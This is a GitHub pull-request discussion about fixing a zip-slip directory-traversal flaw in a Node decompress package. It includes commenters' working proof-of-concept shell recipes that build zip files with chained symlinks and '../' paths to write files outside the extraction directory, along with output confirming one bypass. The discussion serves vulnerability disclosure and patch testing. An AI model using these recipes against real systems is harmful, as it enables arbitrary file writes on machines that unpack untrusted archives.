-
Notifications
You must be signed in to change notification settings - Fork 52
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Prevent directory traversal #73
Prevent directory traversal #73
Conversation
Ah, something I just realized, before signing off for the night: I think a filename like “stuff..txt” would trigger this implementation’s |
I did some googling and found the patch that resolves this issue in I'm not so proficient in C, but I think that implementation in I hope that might be helpful. |
I tried my hand at a fix, but I'm not sure how to add it to this PR or if I should at all... |
that patch wont work, as if the file name is just 'x' it will bomb out as not being able to access char [1] |
trptcolin was matching regular expressions though. The char array checks are from |
Agreed that a filename Two edge cases I'm not sure about:
|
The problem is not only related to path names containing PoC: slip.zip (Creates a file in |
e6eeb3d
to
3a60aaa
Compare
@magicOz Good point. I've updated the PR to traverse symlinks and handle the PoC you attached, and this feels more complete. What's here prevents files and symlinks from being written outside the given output directory, but does not prevent new folders from being created. |
This now prevents files/symlinks/directories from being created outside the given output directory. So I've now handled all the cases I know about. |
Also ensures cleanup of decompressed files/directories. Removes Node 8 from the build matrix. The current version of ava is not compatible with Node 8, and Node 8 is in general now at end-of-life.
Last two commits were updating tests for the build. @kevva - thoughts on merging / releasing? It’s possible that this could break consumers who are depending on the current behavior of decompress (allowing writing to arbitrary filesystem locations), so IMO should have a major version bump. |
Thanks Colin! I'm totally unqualified to critique, and I'm not sure if it is possible to avoid, but fixing the vulnerability with a major version bump makes flushing the fix through package ecosystem much more difficult. I remember this package being fixed with a new This vulnerability is affecting me through this dependency graph (so a few packages that would need to update): gatsby-plugin-sharp > imagemin-mozjpeg > mozjpeg > bin-wrapper > download > decompress If the fix can be made with a minor version bump I think a lot of people would be really appreciative!! Alternatively, I see |
@trptcolin That looks better! 👍 However, the check currently only applies for the PoC: mkdir generic_dir
ln -s ../ generic_dir/symlink_to_parent_dir
ln -s /tmp/slipped_zip_2.txt slipped_zip_2.txt
zip --symlinks slip2.zip slipped_zip_2.txt
zip --symlinks -g slip2.zip generic_dir/symlink_to_parent_dir
rm slipped_zip_2.txt
echo "Zip that slipped again" > slipped_zip_2.txt
zip --symlinks -g slip2.zip generic_dir/symlink_to_parent_dir/generic_dir/symlink_to_parent_dir/[...]/slipped_zip_2.txt slip2.zip Replacing |
Thanks for the continued research @magicOz! Yep, definitely some tradeoffs @lauriejones. Just to set expectations, I’m not going to be able to spend time on this today. If somebody else wants to run with this, I’m happy to close this PR. |
30ff4d5
to
2d797ce
Compare
OK, one last commit before heading to the office, but haven't applied it to this PR because I'm suspicious of it. Details: Food for thought if somebody else picks this up from here. |
When applied to a path containing a symlink, `fs.writeFile` will write to the place that symlink points.
Pushed an updated commit on my lunch break. My previous linked attempt was definitely a bug, and I added a test case preventing it. The most recent escape was because when applied to a path containing a symlink, @magicOz what do you think? |
@trptcolin Yeah, that looks like a healthy thing to do. But maybe check the I was able to bypass this by chaining 2 symlinks together and using an absolute path to the second symlink, since Consider this case; the archive is being extracted to const decompress = require('decompress');
decompress('slip3.zip', '/tmp/dist').then(files => {
console.log('done!');
}); Payload: ln -s /tmp/dist/second_link first_link
ln -s /var/tmp/slipped_zip_3.txt second_link
mkdir generic_dir
ln -s ../ generic_dir/symlink_to_parent_dir
zip --symlinks slip3.zip first_link
zip --symlinks -g slip3.zip second_link
zip --symlinks -g slip3.zip generic_dir/symlink_to_parent_dir
rm first_link
rm second_link
echo "Zip that slipped again and again" > first_link
zip --symlinks -g slip3.zip $(python -c "print('generic_dir/symlink_to_parent_dir/'*30)")first_link
rm first_link
rm -r generic_dir $ cat /var/tmp/slipped_zip_3.txt
cat: /var/tmp/slipped_zip_3.txt: No such file or directory
$ node poc.js
done!
$ cat /var/tmp/slipped_zip_3.txt
Zip that slipped again and again slip3.zip (Creates a file in |
I emailed the security team at npm. I think they'll be able to update the advisory. |
Hi folks, Andre from the npm security team here. The advisory is updated with |
GitHub's dependabot isn't marking this update as a security update. Any idea how you can make that happen? |
This fixes #71 by throwing, rather than allowing paths outside the output directory to be extracted.
I believe this loud failure to be the correct one, as it behaves similarly to
tar -zxvf
in protecting against directory traversal:But since this package seems to be fairly widely used, I want to call out explicitly that I don't know all the use cases and who this loudly-failing implementation might end up breaking.
The fixture I swapped in contains a single file, pathed at
../../../decompress-traversal.txt
(containing the text "DIRECTORY TRAVERSAL"). Prior to this fix, that file got created by the included unit test, and afterwards it does not get created.Update: There are several other test cases added as well (see the comments below), involving symlinks, directories, and other situations.
I also needed to update some setup and testing things to get the tests passing since the linting/testing tools are at version "*", but tried to keep the commits separate in case you'd prefer cherry-picking.